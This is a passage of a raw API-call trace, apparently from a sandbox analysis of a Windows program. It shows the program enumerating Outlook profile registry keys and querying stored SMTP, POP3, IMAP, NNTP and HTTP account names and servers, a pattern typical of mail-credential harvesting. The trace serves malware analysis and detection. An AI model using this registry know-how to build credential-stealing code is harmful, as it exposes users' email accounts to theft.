[0054.969] LocalFree (hMem=0x9410850) returned 0x0 [0054.969] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.969] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000001", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.970] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0054.970] lstrlenA (lpString="\\") returned 1 [0054.970] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x9410850 [0054.970] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0054.970] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0054.970] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 89 [0054.970] lstrlenA (lpString="00000001") returned 8 [0054.970] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74dc68 [0054.970] lstrcpyA (in: lpString1=0x74dc68, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0054.970] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000001" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001" [0054.970] LocalFree (hMem=0x9410850) returned 0x0 [0054.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.970] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.970] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.970] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.970] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.970] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.970] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.970] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.970] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.970] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.970] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.970] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.970] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.970] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.971] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.971] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.971] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.971] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.971] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.971] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.971] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.971] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.971] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.971] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.971] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.971] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.971] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.971] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.972] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.972] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.972] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.972] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.972] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.972] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.972] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.972] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.972] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.972] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.972] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.972] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.972] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.972] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.972] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.972] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.973] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.973] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.973] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.973] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.973] RegQueryValueExA (in: hKey=0x3e8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.973] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.973] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.973] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.973] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.973] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.973] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.973] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.973] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.973] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.974] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.974] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.974] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.974] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.974] RegQueryValueExA (in: hKey=0x3e8, lpValueName="Email", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.974] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.974] RegQueryValueExA (in: hKey=0x3e8, lpValueName="Email", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.974] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.974] RegQueryValueExA (in: hKey=0x3e8, lpValueName="Email", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.974] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.974] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.974] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.974] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.974] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.974] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.974] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.975] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.975] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.975] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.975] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.975] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.975] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.975] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.975] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.975] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.975] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.975] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.975] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.975] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.975] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User", lpReserved=0x0, 